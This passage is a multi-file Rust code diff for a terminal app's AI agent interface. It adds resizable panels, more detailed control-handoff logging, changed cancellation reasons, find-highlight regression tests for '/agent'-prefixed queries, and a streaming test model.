.with_margin_left(icon_size(app) + AVATAR_RIGHT_MARGIN)
|
||||
.finish(),
|
||||
);
|
||||
output_items.add_child(
|
||||
Container::new(render_debug_footer(
|
||||
DebugFooterProps {
|
||||
conversation: self.model.conversation(app),
|
||||
model: self.model.as_ref(),
|
||||
debug_copy_button_handle: self
|
||||
.state_handles
|
||||
.debug_copy_button_handle
|
||||
.clone(),
|
||||
submit_issue_button_handle: self
|
||||
.state_handles
|
||||
.submit_issue_button_handle
|
||||
.clone(),
|
||||
should_render_feedback_below: true,
|
||||
},
|
||||
|debug_id, ctx| {
|
||||
ctx.dispatch_typed_action(CLISubagentAction::CopyDebugId(debug_id))
|
||||
},
|
||||
|ctx| ctx.dispatch_typed_action(CLISubagentAction::OpenFeedbackDocs),
|
||||
app,
|
||||
))
|
||||
.with_margin_top(8.)
|
||||
.with_margin_left(icon_size(app) + AVATAR_RIGHT_MARGIN)
|
||||
.finish(),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1277,6 +1281,7 @@ impl View for CLISubagentView {
|
||||
child: output.finish(),
|
||||
background_color: internal_colors::neutral_2(appearance.theme()),
|
||||
border: Some(output_border),
|
||||
max_height: resizable_height,
|
||||
},
|
||||
app,
|
||||
)
|
||||
@@ -1296,6 +1301,7 @@ impl View for CLISubagentView {
|
||||
input: input.clone(),
|
||||
mode,
|
||||
scroll_state: self.state_handles.input_scroll_state.clone(),
|
||||
max_height: resizable_height,
|
||||
},
|
||||
app,
|
||||
)),
|
||||
@@ -1396,7 +1402,24 @@ impl View for CLISubagentView {
|
||||
);
|
||||
}
|
||||
|
||||
result.finish()
|
||||
let content = result.finish();
|
||||
let width_resizable = Resizable::new(self.resizable_width.clone(), content)
|
||||
.with_dragbar_side(DragBarSide::Left)
|
||||
.on_resize(|ctx, _| ctx.notify())
|
||||
.with_bounds_callback(Box::new(|window_size| {
|
||||
let max = (window_size.x() - MIN_REMAINING_WINDOW_WIDTH).max(MIN_RESIZABLE_WIDTH);
|
||||
(MIN_RESIZABLE_WIDTH, max)
|
||||
}))
|
||||
.finish();
|
||||
|
||||
Resizable::new(self.resizable_height.clone(), width_resizable)
|
||||
.with_dragbar_side(DragBarSide::Top)
|
||||
.on_resize(|ctx, _| ctx.notify())
|
||||
.with_bounds_callback(Box::new(|window_size| {
|
||||
let max = (window_size.y() - MIN_REMAINING_WINDOW_HEIGHT).max(MIN_RESIZABLE_HEIGHT);
|
||||
(MIN_RESIZABLE_HEIGHT, max)
|
||||
}))
|
||||
.finish()
|
||||
}
|
||||
|
||||
fn keymap_context(&self, app: &AppContext) -> galaxyui::keymap::Context {
|
||||
@@ -1708,6 +1731,7 @@ struct ScrollableContainerProps {
|
||||
child: Box<dyn Element>,
|
||||
background_color: ColorU,
|
||||
border: Option<Border>,
|
||||
max_height: f32,
|
||||
}
|
||||
|
||||
fn render_scrollable_container(props: ScrollableContainerProps, _app: &AppContext) -> Container {
|
||||
@@ -1716,6 +1740,7 @@ fn render_scrollable_container(props: ScrollableContainerProps, _app: &AppContex
|
||||
child,
|
||||
background_color,
|
||||
border,
|
||||
max_height,
|
||||
} = props;
|
||||
|
||||
let scrollable = NewScrollable::vertical(
|
||||
@@ -1731,7 +1756,7 @@ fn render_scrollable_container(props: ScrollableContainerProps, _app: &AppContex
|
||||
.finish();
|
||||
|
||||
let clipped = ConstrainedBox::new(scrollable)
|
||||
.with_max_height(MAX_HEIGHT)
|
||||
.with_max_height(max_height)
|
||||
.finish();
|
||||
|
||||
let mut container = Container::new(clipped)
|
||||
@@ -1915,6 +1940,7 @@ struct WriteToPtyInputProps {
|
||||
input: bytes::Bytes,
|
||||
mode: AIAgentPtyWriteMode,
|
||||
scroll_state: ClippedScrollStateHandle,
|
||||
max_height: f32,
|
||||
}
|
||||
|
||||
fn render_write_to_pty_input(props: WriteToPtyInputProps, app: &AppContext) -> Box<dyn Element> {
|
||||
@@ -1922,6 +1948,7 @@ fn render_write_to_pty_input(props: WriteToPtyInputProps, app: &AppContext) -> B
|
||||
input,
|
||||
mode,
|
||||
scroll_state,
|
||||
max_height,
|
||||
} = props;
|
||||
|
||||
let appearance = Appearance::as_ref(app);
|
||||
@@ -1967,7 +1994,7 @@ fn render_write_to_pty_input(props: WriteToPtyInputProps, app: &AppContext) -> B
|
||||
.finish();
|
||||
|
||||
let clipped = ConstrainedBox::new(scrollable)
|
||||
.with_max_height(MAX_HEIGHT)
|
||||
.with_max_height(max_height)
|
||||
.finish();
|
||||
|
||||
Container::new(clipped)
|
||||
|
||||
@@ -1,34 +1,27 @@
|
||||
use std::{collections::HashMap, sync::Arc};
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::server::telemetry::{CLISubagentControlState, TelemetryEvent};
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
use instant::Instant;
|
||||
use parking_lot::FairMutex;
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use crate::ai::blocklist::context_model::block_context_from_terminal_model;
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, task::TaskId, AIAgentActionId, AIAgentActionResultType,
|
||||
AIAgentContext, CancellationReason, ReadShellCommandOutputResult,
|
||||
RequestCommandOutputResult, TransferShellCommandControlToUserResult,
|
||||
WriteToLongRunningShellCommandResult,
|
||||
},
|
||||
blocklist::{
|
||||
agent_view::{AgentViewController, AgentViewEntryOrigin},
|
||||
BlocklistAIActionEvent, BlocklistAIActionModel, BlocklistAIController,
|
||||
BlocklistAIHistoryEvent,
|
||||
},
|
||||
},
|
||||
terminal::{
|
||||
model::block::BlockId,
|
||||
model_events::{ModelEvent, ModelEventDispatcher},
|
||||
TerminalModel,
|
||||
},
|
||||
BlocklistAIHistoryModel,
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentActionId, AIAgentActionResultType, AIAgentContext, CancellationReason,
|
||||
ReadShellCommandOutputResult, RequestCommandOutputResult,
|
||||
TransferShellCommandControlToUserResult, WriteToLongRunningShellCommandResult,
|
||||
};
|
||||
use crate::ai::blocklist::agent_view::{AgentViewController, AgentViewEntryOrigin};
|
||||
use crate::ai::blocklist::context_model::block_context_from_terminal_model;
|
||||
use crate::ai::blocklist::{
|
||||
BlocklistAIActionEvent, BlocklistAIActionModel, BlocklistAIController, BlocklistAIHistoryEvent,
|
||||
};
|
||||
use crate::server::telemetry::{CLISubagentControlState, TelemetryEvent};
|
||||
use crate::terminal::model::block::BlockId;
|
||||
use crate::terminal::model_events::{ModelEvent, ModelEventDispatcher};
|
||||
use crate::terminal::TerminalModel;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
|
||||
pub enum UserTakeOverReason {
|
||||
@@ -147,7 +140,7 @@ impl CLISubagentController {
|
||||
let history_model = BlocklistAIHistoryModel::handle(ctx);
|
||||
ctx.subscribe_to_model(&history_model, Self::handle_history_model_event);
|
||||
|
||||
ctx.subscribe_to_model(action_model, |me, event, ctx| match event {
|
||||
ctx.subscribe_to_model(action_model, |me, _, event, ctx| match event {
|
||||
BlocklistAIActionEvent::ActionBlockedOnUserConfirmation(_) => {
|
||||
let mut terminal_model = me.terminal_model.lock();
|
||||
let active_block = terminal_model.block_list_mut().active_block_mut();
|
||||
@@ -202,7 +195,7 @@ impl CLISubagentController {
|
||||
_ => (),
|
||||
});
|
||||
|
||||
ctx.subscribe_to_model(model_event_dispatcher, |me, event, ctx| {
|
||||
ctx.subscribe_to_model(model_event_dispatcher, |me, _, event, ctx| {
|
||||
if let ModelEvent::BlockCompleted(block_completed_event) = event {
|
||||
let terminal_model = me.terminal_model.lock();
|
||||
let Some(block) = terminal_model
|
||||
@@ -242,7 +235,7 @@ impl CLISubagentController {
|
||||
me.controller.update(ctx, |controller, ctx| {
|
||||
controller.cancel_conversation_progress(
|
||||
conversation_id,
|
||||
CancellationReason::OptimisticCLISubagentCompletion,
|
||||
CancellationReason::CommandFinishedDuringInlineAgentView,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
@@ -317,8 +310,14 @@ impl CLISubagentController {
|
||||
|
||||
let active_block = terminal_model.block_list_mut().active_block_mut();
|
||||
let block_id = active_block.id().clone();
|
||||
if let Err(e) = active_block.take_over_control_for_user(reason) {
|
||||
log::error!("Failed to take control for user: {e:?}");
|
||||
let interaction_mode_debug = format!("{:?}", active_block.interaction_mode());
|
||||
let lrc_state_debug = format!("{:?}", active_block.long_running_control_state());
|
||||
if let Err(e) = active_block.take_over_control_for_user(reason.clone()) {
|
||||
log::error!(
|
||||
"Failed to take control for user: {e:?}, reason={reason:?}, \
|
||||
block_id={block_id:?}, interaction_mode={interaction_mode_debug}, \
|
||||
lrc_state={lrc_state_debug}"
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -330,13 +329,18 @@ impl CLISubagentController {
|
||||
// model lock before actually cancelling the conversation.
|
||||
drop(terminal_model);
|
||||
|
||||
// Only cancel conversation if user manually took control (not when agent transfers control).
|
||||
// Cancel the in-flight stream to stop the CLI subagent monitoring loop.
|
||||
// When the user manually takes over, we use CLISubagentUserTakeover so the
|
||||
// conversation status stays InProgress — the agent will resume once the command
|
||||
// finishes or the user hands control back. We do NOT use ManuallyCancelled here
|
||||
// because that would mark the conversation (and ambient task) as cancelled,
|
||||
// which is incorrect since the conversation is still proceeding.
|
||||
if should_cancel_conversation {
|
||||
if let Some(conversation_id) = conversation_id {
|
||||
self.controller.update(ctx, |controller, ctx| {
|
||||
controller.cancel_conversation_progress(
|
||||
conversation_id,
|
||||
CancellationReason::ManuallyCancelled,
|
||||
CancellationReason::CLISubagentUserTakeover,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
@@ -365,15 +369,23 @@ impl CLISubagentController {
|
||||
let active_block = terminal_model.block_list_mut().active_block_mut();
|
||||
let conversation_id = active_block.ai_conversation_id();
|
||||
let block_id = active_block.id().clone();
|
||||
let lrc_state_debug = format!("{:?}", active_block.long_running_control_state());
|
||||
// Check if control was transferred from agent before handoff.
|
||||
let was_transfer_from_agent = active_block
|
||||
.long_running_control_state()
|
||||
.and_then(|state| state.user_take_over_reason())
|
||||
.is_some_and(|reason| reason.is_transfer_from_agent());
|
||||
if let Err(e) = active_block.handoff_control_to_agent() {
|
||||
log::error!("Failed to handoff control to agent: {e:?}");
|
||||
log::error!(
|
||||
"Failed to handoff control to agent: {e:?}, \
|
||||
block_id={block_id:?}, lrc_state={lrc_state_debug}"
|
||||
);
|
||||
return;
|
||||
}
|
||||
log::info!(
|
||||
"handoff_active_command_control_to_agent: block_id={block_id:?}, \
|
||||
conversation_id={conversation_id:?}, lrc_state={lrc_state_debug}"
|
||||
);
|
||||
let action_id = active_block.requested_command_action_id().cloned();
|
||||
let agent_has_control = active_block.is_agent_in_control();
|
||||
drop(terminal_model);
|
||||
@@ -464,11 +476,12 @@ impl CLISubagentController {
|
||||
|
||||
fn handle_history_model_event(
|
||||
&mut self,
|
||||
_: ModelHandle<BlocklistAIHistoryModel>,
|
||||
event: &BlocklistAIHistoryEvent,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
if event
|
||||
.terminal_view_id()
|
||||
.terminal_surface_id()
|
||||
.is_some_and(|id| id != self.terminal_view_id)
|
||||
{
|
||||
return;
|
||||
|
||||
@@ -1,15 +1,13 @@
|
||||
//! Compact free-form text input used by inline AI block actions.
|
||||
use galaxyui::presenter::ChildView;
|
||||
use galaxyui::{
|
||||
presenter::ChildView, AppContext, Element, Entity, FocusContext, SingletonEntity, View,
|
||||
ViewContext, ViewHandle,
|
||||
AppContext, Element, Entity, FocusContext, SingletonEntity, View, ViewContext, ViewHandle,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
appearance::Appearance,
|
||||
editor::{
|
||||
EditorOptions, EditorView, Event as EditorEvent, PropagateAndNoOpEscapeKey,
|
||||
PropagateAndNoOpNavigationKeys, PropagateHorizontalNavigationKeys, TextOptions,
|
||||
},
|
||||
use crate::appearance::Appearance;
|
||||
use crate::editor::{
|
||||
EditorOptions, EditorView, Event as EditorEvent, PropagateAndNoOpEscapeKey,
|
||||
PropagateAndNoOpNavigationKeys, PropagateHorizontalNavigationKeys, TextOptions,
|
||||
};
|
||||
|
||||
/// Wraps an [`EditorView`] for inline prompts that need a lightweight text input.
|
||||
|
||||
@@ -1,10 +1,14 @@
|
||||
use std::{collections::HashMap, ops::Range};
|
||||
use std::collections::HashMap;
|
||||
use std::ops::Range;
|
||||
|
||||
use itertools::Itertools;
|
||||
use regex::RegexBuilder;
|
||||
use warpui::SingletonEntity;
|
||||
|
||||
use super::{AIBlock, TextLocation};
|
||||
use crate::ai::agent::{AIAgentTextSection, MessageId};
|
||||
use crate::ai::blocklist::history_model::BlocklistAIHistoryModel;
|
||||
use crate::terminal::find::{FindOptions, FindableRichContentView, RichContentMatchId};
|
||||
use itertools::Itertools;
|
||||
use regex::RegexBuilder;
|
||||
|
||||
/// Represents the location of a find match in an AI block.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
@@ -35,6 +39,12 @@ impl FindState {
|
||||
pub(super) fn location_for_match(&self, id: RichContentMatchId) -> Option<&FindMatchLocation> {
|
||||
self.matches.get(&id)
|
||||
}
|
||||
|
||||
/// The number of find matches currently cached for this block.
|
||||
#[cfg(test)]
|
||||
pub(crate) fn match_count(&self) -> usize {
|
||||
self.matches.len()
|
||||
}
|
||||
}
|
||||
|
||||
impl FindableRichContentView for AIBlock {
|
||||
@@ -47,8 +57,13 @@ impl FindableRichContentView for AIBlock {
|
||||
self.clear_matches(ctx);
|
||||
|
||||
let mut new_match_ids = vec![];
|
||||
// Match against the displayed query (including any "/agent" prefix added for the
|
||||
// initial conversation query) so highlight ranges line up with the rendered text.
|
||||
let initial_conversation_query = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&self.client_ids.conversation_id)
|
||||
.and_then(|conversation| conversation.initial_user_query());
|
||||
for (i, input) in self.model.inputs_to_render(ctx).iter().enumerate() {
|
||||
if let Some(query) = input.user_query() {
|
||||
if let Some(query) = input.display_user_query(initial_conversation_query.as_ref()) {
|
||||
for find_match_range in compute_find_matches(&query, options).into_iter() {
|
||||
let id = RichContentMatchId::default();
|
||||
new_match_ids.push(id);
|
||||
@@ -130,6 +145,10 @@ impl FindableRichContentView for AIBlock {
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "find_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
/// Computes find matches (represented as character offsets) within the given `text`.
|
||||
fn compute_find_matches(text: &str, options: &FindOptions) -> Vec<Range<usize>> {
|
||||
let Some(query) = options.query.as_ref() else {
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
use std::collections::HashMap;
|
||||
use std::sync::Arc;
|
||||
|
||||
use super::compute_find_matches;
|
||||
use crate::ai::agent::{AIAgentInput, UserQueryMode};
|
||||
use crate::terminal::find::FindOptions;
|
||||
|
||||
fn user_query_input(query: &str, mode: UserQueryMode) -> AIAgentInput {
|
||||
AIAgentInput::UserQuery {
|
||||
query: query.to_string(),
|
||||
context: Arc::new([]),
|
||||
static_query_type: None,
|
||||
referenced_attachments: HashMap::new(),
|
||||
user_query_mode: mode,
|
||||
running_command: None,
|
||||
intended_agent: None,
|
||||
}
|
||||
}
|
||||
|
||||
// Regression test for https://github.com/warpdotdev/warp/issues/11697.
|
||||
// Find match highlights on the initial agent query must be computed against the displayed
|
||||
// query (prefixed with "/agent "), not the stored query, so the ranges line up with the
|
||||
// rendered text.
|
||||
#[test]
|
||||
fn find_matches_align_with_agent_prefixed_initial_query() {
|
||||
let query = "list files".to_string();
|
||||
let input = user_query_input(&query, UserQueryMode::Normal);
|
||||
|
||||
let displayed = input
|
||||
.display_user_query(Some(&query))
|
||||
.expect("user query should produce displayed text");
|
||||
assert_eq!(displayed, "/agent list files");
|
||||
|
||||
let options = FindOptions::default().with_query(Some("list".to_string()));
|
||||
|
||||
// "list" starts after the "/agent " prefix (7 chars), so the match must be 7..11 — not
|
||||
// 0..4, which is what matching against the un-prefixed stored query would produce.
|
||||
assert_eq!(compute_find_matches(&displayed, &options), vec![7..11]);
|
||||
}
|
||||
|
||||
// A "/plan" query is stored with its prefix already attached, so its highlights have always
|
||||
// lined up. Lock that in alongside the agent-prefix fix.
|
||||
#[test]
|
||||
fn find_matches_align_with_plan_prefixed_query() {
|
||||
let input = user_query_input("write tests", UserQueryMode::Plan);
|
||||
|
||||
let displayed = input
|
||||
.display_user_query(None)
|
||||
.expect("user query should produce displayed text");
|
||||
assert_eq!(displayed, "/plan write tests");
|
||||
|
||||
let options = FindOptions::default().with_query(Some("tests".to_string()));
|
||||
assert_eq!(compute_find_matches(&displayed, &options), vec![12..17]);
|
||||
}
|
||||
@@ -1,21 +1,16 @@
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::theme::color::internal_colors;
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Empty, Flex,
|
||||
MainAxisAlignment, MainAxisSize, MouseStateHandle, ParentElement, Radius, Shrinkable, Text,
|
||||
},
|
||||
keymap::FixedBinding,
|
||||
ui_components::{
|
||||
button::{Button, ButtonVariant},
|
||||
components::{UiComponent, UiComponentStyles},
|
||||
},
|
||||
AppContext, Element, Entity, SingletonEntity, TypedActionView, View, ViewContext,
|
||||
use galaxyui::elements::{
|
||||
ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Empty, Flex, MainAxisAlignment,
|
||||
MainAxisSize, MouseStateHandle, ParentElement, Radius, Shrinkable, Text,
|
||||
};
|
||||
|
||||
use crate::ui_components::icons::Icon;
|
||||
use warpui::keymap::FixedBinding;
|
||||
use warpui::ui_components::button::{Button, ButtonVariant};
|
||||
use warpui::ui_components::components::{UiComponent, UiComponentStyles};
|
||||
use warpui::{AppContext, Element, Entity, SingletonEntity, TypedActionView, View, ViewContext};
|
||||
|
||||
use super::numbered_button::render_recommended_badge;
|
||||
use crate::ui_components::icons::Icon;
|
||||
|
||||
const MARGIN_BETWEEN_BUTTONS: f32 = 4.;
|
||||
const HAS_OPTIONS: &str = "HasOptions";
|
||||
|
||||
@@ -1,22 +1,20 @@
|
||||
mod helper;
|
||||
mod model_impl;
|
||||
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use chrono::TimeDelta;
|
||||
pub use helper::AIBlockModelHelper;
|
||||
pub use model_impl::*;
|
||||
use session_sharing_protocol::common::ParticipantId;
|
||||
|
||||
use crate::ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentExchangeId, AIAgentInput, AIAgentOutput,
|
||||
CancellationReason, PassiveSuggestionTrigger, PassiveSuggestionTriggerType,
|
||||
RenderableAIError, ServerOutputId, Shared,
|
||||
},
|
||||
llms::LLMId,
|
||||
};
|
||||
use chrono::TimeDelta;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxyui::{AppContext, ViewContext};
|
||||
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentExchangeId, AIAgentInput, AIAgentOutput, CancellationReason, PassiveSuggestionTrigger,
|
||||
PassiveSuggestionTriggerType, RenderableAIError, ServerOutputId, Shared,
|
||||
};
|
||||
use crate::ai::llms::LLMId;
|
||||
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub enum PassiveRequestType {
|
||||
UnitTestSuggestion,
|
||||
@@ -220,24 +218,19 @@ pub trait AIBlockModel {
|
||||
|
||||
#[cfg(any(test, feature = "integration_tests"))]
|
||||
pub mod testing {
|
||||
use galaxyui::{AppContext, ViewContext};
|
||||
|
||||
use crate::ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentInput, AIAgentOutput, ServerOutputId, Shared,
|
||||
},
|
||||
blocklist::{
|
||||
model::{AIRequestType, PassiveRequestType, PassiveSuggestionTriggerType},
|
||||
AIBlock,
|
||||
},
|
||||
llms::LLMId,
|
||||
};
|
||||
|
||||
use super::{AIBlockModel, AIBlockOutputStatus, OutputStatusUpdateCallback};
|
||||
use crate::ai::agent::{AIAgentInput, AIAgentOutput, ServerOutputId, Shared};
|
||||
use crate::ai::blocklist::model::{
|
||||
AIRequestType, PassiveRequestType, PassiveSuggestionTriggerType,
|
||||
};
|
||||
use crate::ai::blocklist::AIBlock;
|
||||
|
||||
pub struct FakeAIBlockModel {
|
||||
input: Vec<AIAgentInput>,
|
||||
output: Shared<AIAgentOutput>,
|
||||
/// `None` models a block that is still streaming output, so its status
|
||||
/// stays [`AIBlockOutputStatus::Pending`].
|
||||
output: Option<Shared<AIAgentOutput>>,
|
||||
model_id: LLMId,
|
||||
}
|
||||
|
||||
@@ -245,7 +238,17 @@ pub mod testing {
|
||||
pub fn new(input: Vec<AIAgentInput>, output: AIAgentOutput) -> Self {
|
||||
Self {
|
||||
input,
|
||||
output: Shared::new(output),
|
||||
output: Some(Shared::new(output)),
|
||||
model_id: "fake-llm".to_owned().into(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Builds a fake model whose status stays [`AIBlockOutputStatus::Pending`],
|
||||
/// modeling a block that is still streaming output.
|
||||
pub fn new_streaming(input: Vec<AIAgentInput>) -> Self {
|
||||
Self {
|
||||
input,
|
||||
output: None,
|
||||
model_id: "fake-llm".to_owned().into(),
|
||||
}
|
||||
}
|
||||
@@ -255,8 +258,11 @@ pub mod testing {
|
||||
type View = AIBlock;
|
||||
|
||||
fn status(&self, _app: &AppContext) -> AIBlockOutputStatus {
|
||||
AIBlockOutputStatus::Complete {
|
||||
output: self.output.clone(),
|
||||
match &self.output {
|
||||
Some(output) => AIBlockOutputStatus::Complete {
|
||||
output: output.clone(),
|
||||
},
|
||||
None => AIBlockOutputStatus::Pending,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -27,6 +27,7 @@ impl AIBlockModel for DebugAIBlockModel {
|
||||
error_message: "No output received.".to_owned(),
|
||||
will_attempt_resume: false,
|
||||
waiting_for_network: false,
|
||||
is_user_error: false,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
@@ -1,17 +1,13 @@
|
||||
use galaxyui::{AppContext, EntityId, ModelHandle, SingletonEntity};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversation, AIAgentAction, AIAgentActionId, AIAgentActionType,
|
||||
AIAgentInput, AIAgentOutputMessageType, SummarizationType,
|
||||
},
|
||||
blocklist::BlocklistAIActionModel,
|
||||
},
|
||||
BlocklistAIHistoryModel,
|
||||
};
|
||||
|
||||
use super::AIBlockModel;
|
||||
use crate::ai::agent::conversation::AIConversation;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionType, AIAgentInput, AIAgentOutputMessageType,
|
||||
SummarizationType,
|
||||
};
|
||||
use crate::ai::blocklist::BlocklistAIActionModel;
|
||||
use crate::BlocklistAIHistoryModel;
|
||||
|
||||
// Helper methods for accessing data on an impl of `AIBlockModel`.
|
||||
//
|
||||
@@ -27,7 +23,7 @@ pub trait AIBlockModelHelper {
|
||||
|
||||
fn contains_update_document_action(&self, app: &AppContext) -> bool;
|
||||
|
||||
fn is_latest_non_passive_exchange_in_root_task(&self, app: &AppContext) -> bool;
|
||||
fn is_latest_visible_exchange_in_root_task(&self, app: &AppContext) -> bool;
|
||||
|
||||
fn is_latest_exchange_in_terminal_pane(
|
||||
&self,
|
||||
@@ -100,10 +96,10 @@ impl<T: ?Sized + AIBlockModel> AIBlockModelHelper for T {
|
||||
}
|
||||
}
|
||||
|
||||
fn is_latest_non_passive_exchange_in_root_task(&self, app: &AppContext) -> bool {
|
||||
fn is_latest_visible_exchange_in_root_task(&self, app: &AppContext) -> bool {
|
||||
self.conversation(app).is_some_and(|conversation| {
|
||||
match (
|
||||
conversation.last_non_passive_exchange(),
|
||||
conversation.latest_visible_exchange(),
|
||||
self.exchange_id(app),
|
||||
) {
|
||||
(Some(latest_exchange), Some(id)) => latest_exchange.id == id,
|
||||
|
||||
@@ -5,20 +5,17 @@ use chrono::{Local, TimeDelta};
|
||||
use galaxyui::{AppContext, SingletonEntity, View, ViewContext};
|
||||
use history_model::{BlocklistAIHistoryEvent, BlocklistAIHistoryModel};
|
||||
use session_sharing_protocol::common::ParticipantId;
|
||||
|
||||
use crate::ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentExchange, AIAgentExchangeId, AIAgentInput,
|
||||
AIAgentOutputStatus, FinishedAIAgentOutput, ServerOutputId, Shared,
|
||||
},
|
||||
blocklist::{
|
||||
history_model,
|
||||
model::{AIRequestType, PassiveRequestType},
|
||||
},
|
||||
llms::LLMId,
|
||||
};
|
||||
use galaxyui::{AppContext, Entity, SingletonEntity, ViewContext};
|
||||
|
||||
use super::{AIBlockModel, AIBlockOutputStatus, OutputStatusUpdateCallback};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentExchange, AIAgentExchangeId, AIAgentInput, AIAgentOutputStatus, FinishedAIAgentOutput,
|
||||
ServerOutputId, Shared,
|
||||
};
|
||||
use crate::ai::blocklist::history_model;
|
||||
use crate::ai::blocklist::model::{AIRequestType, PassiveRequestType};
|
||||
use crate::ai::llms::LLMId;
|
||||
|
||||
/// Standard [`AIBlock`] impl for live outputs corresponding to an `OutputStream`.
|
||||
pub struct AIBlockModelImpl<V> {
|
||||
@@ -31,7 +28,7 @@ pub struct AIBlockModelImpl<V> {
|
||||
|
||||
impl<V> AIBlockModelImpl<V>
|
||||
where
|
||||
V: View,
|
||||
V: Entity,
|
||||
{
|
||||
pub fn new(
|
||||
exchange_id: AIAgentExchangeId,
|
||||
@@ -85,7 +82,7 @@ where
|
||||
|
||||
impl<V> AIBlockModel for AIBlockModelImpl<V>
|
||||
where
|
||||
V: View,
|
||||
V: Entity,
|
||||
{
|
||||
type View = V;
|
||||
|
||||
@@ -208,19 +205,32 @@ where
|
||||
exchange_id
|
||||
);
|
||||
ctx.subscribe_to_model(&history_model, move |me, _, event, ctx| {
|
||||
let BlocklistAIHistoryEvent::UpdatedStreamingExchange {
|
||||
exchange_id: event_exchange_id,
|
||||
conversation_id: event_conversation_id,
|
||||
..
|
||||
} = event
|
||||
else {
|
||||
return;
|
||||
};
|
||||
if *event_exchange_id == exchange_id {
|
||||
log::info!("[bedrock-debug] on_updated_output: callback fired for matching exchange_id={:?}", exchange_id);
|
||||
callback(me, ctx);
|
||||
} else if *event_conversation_id == conversation_id {
|
||||
ctx.notify();
|
||||
match event {
|
||||
BlocklistAIHistoryEvent::UpdatedStreamingExchange {
|
||||
exchange_id: event_exchange_id,
|
||||
conversation_id: event_conversation_id,
|
||||
..
|
||||
} => {
|
||||
if *event_exchange_id == exchange_id {
|
||||
callback(me, ctx);
|
||||
} else if *event_conversation_id == conversation_id {
|
||||
ctx.notify();
|
||||
}
|
||||
}
|
||||
BlocklistAIHistoryEvent::ConversationUsageMetadataUpdated { .. } => {
|
||||
// Cross-pane orchestration credit rollup: the collapsed
|
||||
// footer pill on an orchestrator's AIBlock derives its
|
||||
// headline number from descendant credits, which the
|
||||
// existing exchange-scoped notify path above doesn't
|
||||
// cover. Trigger a re-render on any usage metadata
|
||||
// change so the pill stays live. Filtering to only
|
||||
// descendants of this block's conversation would
|
||||
// require an O(depth) walk per event for every AI
|
||||
// block in the app; an unconditional notify is cheap
|
||||
// and tracks live status accurately.
|
||||
ctx.notify();
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
use galaxyui::elements::{
|
||||
ClippedScrollStateHandle, Container, CrossAxisAlignment, DispatchEventResult, EventHandler,
|
||||
Flex, Hoverable, MouseInBehavior, MouseStateHandle, ParentElement, SavePosition, ScrollTarget,
|
||||
ScrollToPositionMode,
|
||||
};
|
||||
use galaxyui::keymap::FixedBinding;
|
||||
use galaxyui::ui_components::button::Button;
|
||||
use galaxyui::ui_components::components::UiComponent;
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
ClippedScrollStateHandle, Container, CrossAxisAlignment, DispatchEventResult, EventHandler,
|
||||
Flex, Hoverable, MouseInBehavior, MouseStateHandle, ParentElement, SavePosition,
|
||||
ScrollTarget, ScrollToPositionMode,
|
||||
},
|
||||
keymap::FixedBinding,
|
||||
ui_components::{button::Button, components::UiComponent},
|
||||
AppContext, Element, Entity, TypedActionView, View, ViewContext, ViewHandle, WeakViewHandle,
|
||||
};
|
||||
|
||||
@@ -130,6 +131,15 @@ impl NumberShortcutButtonBuilder {
|
||||
on_click: Box::new(on_click),
|
||||
}
|
||||
}
|
||||
|
||||
/// Builds just this option's visual element, with no click or keyboard handling. The
|
||||
/// ask-user-question card uses it to lay out off-screen measurement copies of every option, so
|
||||
/// a multi-question card can size itself to its tallest question. Only the rendered size matters
|
||||
/// there, so the button builder is invoked in its unselected state and the interactive
|
||||
/// `on_click` half is dropped.
|
||||
pub fn build_measurement_element(&self, app: &AppContext) -> Box<dyn Element> {
|
||||
(self.button_builder)(false, app).build().finish()
|
||||
}
|
||||
}
|
||||
|
||||
pub fn numbered_shortcut_button<A: galaxyui::Action + Clone + 'static>(
|
||||
|
||||
@@ -1,14 +1,15 @@
|
||||
use std::cell::RefCell;
|
||||
use std::rc::Rc;
|
||||
|
||||
use pathfinder_geometry::vector::{vec2f, Vector2F};
|
||||
